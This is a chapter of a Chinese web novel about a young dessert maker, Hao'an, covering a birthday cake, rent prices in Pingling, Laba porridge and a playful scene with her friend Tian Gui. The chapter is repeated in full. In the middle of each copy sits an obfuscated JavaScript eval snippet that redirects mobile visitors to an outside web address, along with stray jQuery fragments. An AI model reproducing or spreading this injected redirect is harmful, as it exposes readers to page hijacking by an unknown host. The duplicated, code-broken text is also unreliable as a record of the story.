原源 作品
62. 腊八粥
宋敏萱定制的生日蛋糕十分简单，好安做好后在蛋糕插了一个旋转莲花灯。
这个莲花没有王老太太寿宴上的那个复杂，不需要发条，它更类似走马灯，点火就能转。
宋家在平陵算不上数一数二的人家，家宅也不过是个二进的院子，但能挨着寸土寸金的淮清河，家里至少有个一官半职或者稳定的收入。
宋敏萱过得是小生日，除了自己亲戚，还邀请了几位闺中好友，她们家境自然也不差。
生日蛋糕便主要用来招待她们。
“没想到寒冬腊月的居然还能看见莲花！”
宋敏萱喜欢精巧的东西，相对于已经吃过的生日蛋糕，她对莲花灯更感兴趣。
“宋姐姐，你要是喜欢莲花灯便赶紧取了去。正好你盼着灯，我们盼着吃呢。”一位明显和宋敏萱关系不错的小娘子打趣道。
“嗯。”赵瑾瑜塞着一嘴的酒酿小汤圆，连连点头。
“是我疏忽了。”宋敏萱笑道。
她将上面一层的蛋糕差人送去前厅给爹娘他们，才拿起竹刀将蛋糕分给众人。
“这个好像鲍螺。”
“是很像，但鲍螺我吃着极容易腻。这个可不同，配上下面的糕底吃起来舒服多了。”
宋敏萱遇到不好吃的宁可不吃，可是除了名的嘴叼，有人赶紧按照她说的方法尝了一口。
“又松软又香甜。不知宋妹妹从那家店买来的？我明年过生辰也要买一个。”
“这可不是在平陵买的。”宋敏萱看着赵瑾瑜笑道：“是瑾瑜特意从外地请师傅来家里做的。”
“外地的啊，那岂不是吃不到了。”一位年幼许多的小娘子嘟着嘴巴。
“平陵点心铺子不少，但都大差不差。难得吃到不一样的点心，居然是外地的！”有人附和道。
“也不一定，她既然能来平陵一次就能来第二次。”离宋敏萱最近的小娘子问道：“不知这个师傅怎么约？”
宋敏萱：“她现在就我家，不如请过来问问。”
好安正收拾着工具，听有人请便跟着去了。
等她到时，不禁让人侧目。
原本以为是个中年的叔叔婶婶，没想到是个和她们差不多大的小娘子，一下没了距离感，围着好安问什么时候再来府城。
都是钱啊！好安每个都想答应，但她们时间太分散，她真不知道她到时候有没有时间。
看来可以试试在府城开一家好记甜品了！到时候这些人都是她的推销大军。
好安说干就干，从宋家出来后便去平陵的街道溜达。
看见路边有一家庄宅行立马走了过去。
店里墙上挂着一副巨大的平陵地图，不精细，但重要地方或出名的街道都标记出来了。
“客官是想租还是买？”房牙子立刻迎了上来。
好安：“我先看看。”
房牙子：“好嘞，您要是有什么需求直接到柜台问就行。”
平陵最出名的自然是淮清河，接着是平陵十八坊。
淮清河蜿蜒，横穿平陵。
附近不仅有住宅，还有很多书肆、客栈、茶楼。是个从白天热闹到晚上的繁华之地。
平陵十八坊则是手工业聚集地，如颜料坊、木匠坊、铁作坊、织锦坊……更像一个巨大的贸易市场。
除了这些地方还有东锦绣坊河西锦绣坊，这些地方主要是达官显贵的聚集地，街道两旁商铺林立，卖的大部分是高档商品。
好安指着地图问道：“这一块淮清河附近租金是多少？”
“客人好眼光，这一块是中心的中心。”房牙子见好安是个年轻小娘子，估摸着是给家里人看住房便默认道：“非乡试年的时候，独院按月租的话四两起，乡试年八两起。”
“八两？！”好安经得连声音都变调了。
一年就是九十六两！
不算她捣鼓的外快，好记一年流水都没九十六两。
房牙子干这行多年，早就对客人的反应习以为常，道：“平陵不仅是南方文化荟萃之地，更是天下文枢。”
说着，他在好安画的这块地段里指着一个红点点，继续道：“过了桥就是江南贡院，读书人在此居住既能方便学习，又能收到熏陶。”
虽然明年不是乡试年，好安仍然心如死灰。
“铺子呢？”
“铺子看大小，基本上比住宅贵上两成。”
想必贡院附近都是卖笔墨纸砚，她一个卖甜点的就不去考验这些读书人的心性了。
她退了。
“这一块呢？”好安指着锦绣坊问道。
她不信这还能贵过贡院附近。
房牙子：“这里的商铺大部分一月租金六两起，最便宜的只要四两。”
要是第一个问的是这块地，一年七十二两，她肯定觉得贵。
但在九十六两的衬托下，真便宜呢。
好安在地图上指了一圈，只要在人流量还行的地方，商铺租金最少也要二两银子一月。
平陵居大不易！
好安带着沉重的房价回家了。
————
进了腊月，年就近了。
甚至北方有说法：过了腊八便是年。
万和县偏南，腊八的习俗远没北方隆重，但腊八粥还是各家必不可少的。
这里的腊八粥分两种：寺庙粥和家粥。
寺庙粥是“素腊八”讲究料多粥稠，立筷不倒。
家粥则随意，可以做“素腊八”也可以做“荤腊八”。
万和县有北方人，所以不仅有咸口腊八粥，也有甜口腊八粥。
好安准备两种都种，提前一日把食材都泡上了。
糯米、莲子、花生、绿豆、红豆、桂圆、红枣……
这是甜口的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297173|160922||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
加咸排、红薯、萝卜、回芽豆、油豆腐……再用荤汤熬煮就是咸口。
习俗认为腊八早上的卯时是吉时，最宜纳福。巷子里平日一些晚起的人家也纷纷早起，赶着点的相互送粥。
隔壁张叔北方人送甜口，前面赵婶本地人送咸口。今天来好记堂食的也会免费赠送一碗腊八粥。
“砰砰砰。”
好安正细细品味咸口腊八粥丰富的口感，门忽然响了。
“安安，你的皮来啦！”
田桂。
是她的猪皮！
好安立马开门。
好安：“这么快卖完了？”
田桂今早带了两整只猪，每只少说也有八九十斤。
“我养的卖完了，我娘的还在卖。”田桂叉腰骄傲道。
好安懂了，碰到识货的了！
“你多少钱一斤卖的？”好安问道。
说到这个，田桂不由面露得意：“三十文，比平日里贵了五文，比逢年过节贵了两文。”
“他们只要吃过，一定会念念不忘。”
好安接过猪皮，还挺多重，能由五斤。
“必须的！以后他们都找我来卖猪肉的话，我很快就能成为万和县猪肉第一人！”田桂挥着拳头说得激情澎湃。
“猪肉大王！”
好安不知为何也被田桂激昂的情绪触动，放下碗踩在板凳上，也道：“那我就要成为万和县点心大王！”
“对！”田桂举着好安的手直冲天空，道：“双王合并。”
谢宗林刚买菜回来便看见两个中二少女。
好安伸出双手，像是捧着什么东西。田桂心有灵犀，优雅的接过一团空气，将它戴在好安的头上。然后田桂依此类比，由好安给田桂带上。
天空澄澈，寒风一下便得轻柔，像是在为她们二人纳福。
最后她俩一边左手勾着右手地转圈圈，一边喊“王、王、王”。
黄豆和米粒也摇着尾巴跟在她俩身后打转，像是她俩最忠诚的下属。
谢宗林笑不知从何起，强装淡然撇头，打算悄悄从墙根走进院子，不打扰她们。
人呐，太开心的时候就容易忽略脚下。尤其一边走路，一边偷看，一边憋笑的。
这不，一不小心踩到院子里散落的柴火了。
好安和田桂正带着她们的黄豆下属和米粒下属巡视领地，便被杂音扰乱。
姐妹之间怎么发癫、嬉笑打闹都好，但被第三人看见了就是另外一件事了。
二人“唰”一下恢复寻常模样。
“剩下的十头什么时候卖？”
“带着卖，小年前卖完就行。”
“按这情况，十头可撑不到小年。”
好安字正腔圆的问，田桂一脸正经的答。
明明三人都相互看见了，但都假装没看见。
谢宗林抿着嘴巴，淡定仰头进屋。
这个莲花没有王老太太寿宴上的那个复杂，不需要发条，它更类似走马灯，点火就能转。
宋家在平陵算不上数一数二的人家，家宅也不过是个二进的院子，但能挨着寸土寸金的淮清河，家里至少有个一官半职或者稳定的收入。
宋敏萱过得是小生日，除了自己亲戚，还邀请了几位闺中好友，她们家境自然也不差。
生日蛋糕便主要用来招待她们。
“没想到寒冬腊月的居然还能看见莲花！”
宋敏萱喜欢精巧的东西，相对于已经吃过的生日蛋糕，她对莲花灯更感兴趣。
“宋姐姐，你要是喜欢莲花灯便赶紧取了去。正好你盼着灯，我们盼着吃呢。”一位明显和宋敏萱关系不错的小娘子打趣道。
“嗯。”赵瑾瑜塞着一嘴的酒酿小汤圆，连连点头。
“是我疏忽了。”宋敏萱笑道。
她将上面一层的蛋糕差人送去前厅给爹娘他们，才拿起竹刀将蛋糕分给众人。
“这个好像鲍螺。”
“是很像，但鲍螺我吃着极容易腻。这个可不同，配上下面的糕底吃起来舒服多了。”
宋敏萱遇到不好吃的宁可不吃，可是除了名的嘴叼，有人赶紧按照她说的方法尝了一口。
“又松软又香甜。不知宋妹妹从那家店买来的？我明年过生辰也要买一个。”
“这可不是在平陵买的。”宋敏萱看着赵瑾瑜笑道：“是瑾瑜特意从外地请师傅来家里做的。”
“外地的啊，那岂不是吃不到了。”一位年幼许多的小娘子嘟着嘴巴。
“平陵点心铺子不少，但都大差不差。难得吃到不一样的点心，居然是外地的！”有人附和道。
“也不一定，她既然能来平陵一次就能来第二次。”离宋敏萱最近的小娘子问道：“不知这个师傅怎么约？”
宋敏萱：“她现在就我家，不如请过来问问。”
好安正收拾着工具，听有人请便跟着去了。
等她到时，不禁让人侧目。
原本以为是个中年的叔叔婶婶，没想到是个和她们差不多大的小娘子，一下没了距离感，围着好安问什么时候再来府城。
都是钱啊！好安每个都想答应，但她们时间太分散，她真不知道她到时候有没有时间。
看来可以试试在府城开一家好记甜品了！到时候这些人都是她的推销大军。
好安说干就干，从宋家出来后便去平陵的街道溜达。
看见路边有一家庄宅行立马走了过去。
店里墙上挂着一副巨大的平陵地图，不精细，但重要地方或出名的街道都标记出来了。
“客官是想租还是买？”房牙子立刻迎了上来。
好安：“我先看看。”
房牙子：“好嘞，您要是有什么需求直接到柜台问就行。”
平陵最出名的自然是淮清河，接着是平陵十八坊。
淮清河蜿蜒，横穿平陵。
附近不仅有住宅，还有很多书肆、客栈、茶楼。是个从白天热闹到晚上的繁华之地。
平陵十八坊则是手工业聚集地，如颜料坊、木匠坊、铁作坊、织锦坊……更像一个巨大的贸易市场。
除了这些地方还有东锦绣坊河西锦绣坊，这些地方主要是达官显贵的聚集地，街道两旁商铺林立，卖的大部分是高档商品。
好安指着地图问道：“这一块淮清河附近租金是多少？”
“客人好眼光，这一块是中心的中心。”房牙子见好安是个年轻小娘子，估摸着是给家里人看住房便默认道：“非乡试年的时候，独院按月租的话四两起，乡试年八两起。”
“八两？！”好安经得连声音都变调了。
一年就是九十六两！
不算她捣鼓的外快，好记一年流水都没九十六两。
房牙子干这行多年，早就对客人的反应习以为常，道：“平陵不仅是南方文化荟萃之地，更是天下文枢。”
说着，他在好安画的这块地段里指着一个红点点，继续道：“过了桥就是江南贡院，读书人在此居住既能方便学习，又能收到熏陶。”
虽然明年不是乡试年，好安仍然心如死灰。
“铺子呢？”
“铺子看大小，基本上比住宅贵上两成。”
想必贡院附近都是卖笔墨纸砚，她一个卖甜点的就不去考验这些读书人的心性了。
她退了。
“这一块呢？”好安指着锦绣坊问道。
她不信这还能贵过贡院附近。
房牙子：“这里的商铺大部分一月租金六两起，最便宜的只要四两。”
要是第一个问的是这块地，一年七十二两，她肯定觉得贵。
但在九十六两的衬托下，真便宜呢。
好安在地图上指了一圈，只要在人流量还行的地方，商铺租金最少也要二两银子一月。
平陵居大不易！
好安带着沉重的房价回家了。
————
进了腊月，年就近了。
甚至北方有说法：过了腊八便是年。
万和县偏南，腊八的习俗远没北方隆重，但腊八粥还是各家必不可少的。
这里的腊八粥分两种：寺庙粥和家粥。
寺庙粥是“素腊八”讲究料多粥稠，立筷不倒。
家粥则随意，可以做“素腊八”也可以做“荤腊八”。
万和县有北方人，所以不仅有咸口腊八粥，也有甜口腊八粥。
好安准备两种都种，提前一日把食材都泡上了。
糯米、莲子、花生、绿豆、红豆、桂圆、红枣……
这是甜口的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15297173|160922||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
加咸排、红薯、萝卜、回芽豆、油豆腐……再用荤汤熬煮就是咸口。
习俗认为腊八早上的卯时是吉时，最宜纳福。巷子里平日一些晚起的人家也纷纷早起，赶着点的相互送粥。
隔壁张叔北方人送甜口，前面赵婶本地人送咸口。今天来好记堂食的也会免费赠送一碗腊八粥。
“砰砰砰。”
好安正细细品味咸口腊八粥丰富的口感，门忽然响了。
“安安，你的皮来啦！”
田桂。
是她的猪皮！
好安立马开门。
好安：“这么快卖完了？”
田桂今早带了两整只猪，每只少说也有八九十斤。
“我养的卖完了，我娘的还在卖。”田桂叉腰骄傲道。
好安懂了，碰到识货的了！
“你多少钱一斤卖的？”好安问道。
说到这个，田桂不由面露得意：“三十文，比平日里贵了五文，比逢年过节贵了两文。”
“他们只要吃过，一定会念念不忘。”
好安接过猪皮，还挺多重，能由五斤。
“必须的！以后他们都找我来卖猪肉的话，我很快就能成为万和县猪肉第一人！”田桂挥着拳头说得激情澎湃。
“猪肉大王！”
好安不知为何也被田桂激昂的情绪触动，放下碗踩在板凳上，也道：“那我就要成为万和县点心大王！”
“对！”田桂举着好安的手直冲天空，道：“双王合并。”
谢宗林刚买菜回来便看见两个中二少女。
好安伸出双手，像是捧着什么东西。田桂心有灵犀，优雅的接过一团空气，将它戴在好安的头上。然后田桂依此类比，由好安给田桂带上。
天空澄澈，寒风一下便得轻柔，像是在为她们二人纳福。
最后她俩一边左手勾着右手地转圈圈，一边喊“王、王、王”。
黄豆和米粒也摇着尾巴跟在她俩身后打转，像是她俩最忠诚的下属。
谢宗林笑不知从何起，强装淡然撇头，打算悄悄从墙根走进院子，不打扰她们。
人呐，太开心的时候就容易忽略脚下。尤其一边走路，一边偷看，一边憋笑的。
这不，一不小心踩到院子里散落的柴火了。
好安和田桂正带着她们的黄豆下属和米粒下属巡视领地，便被杂音扰乱。
姐妹之间怎么发癫、嬉笑打闹都好，但被第三人看见了就是另外一件事了。
二人“唰”一下恢复寻常模样。
“剩下的十头什么时候卖？”
“带着卖，小年前卖完就行。”
“按这情况，十头可撑不到小年。”
好安字正腔圆的问，田桂一脸正经的答。
明明三人都相互看见了，但都假装没看见。
谢宗林抿着嘴巴，淡定仰头进屋。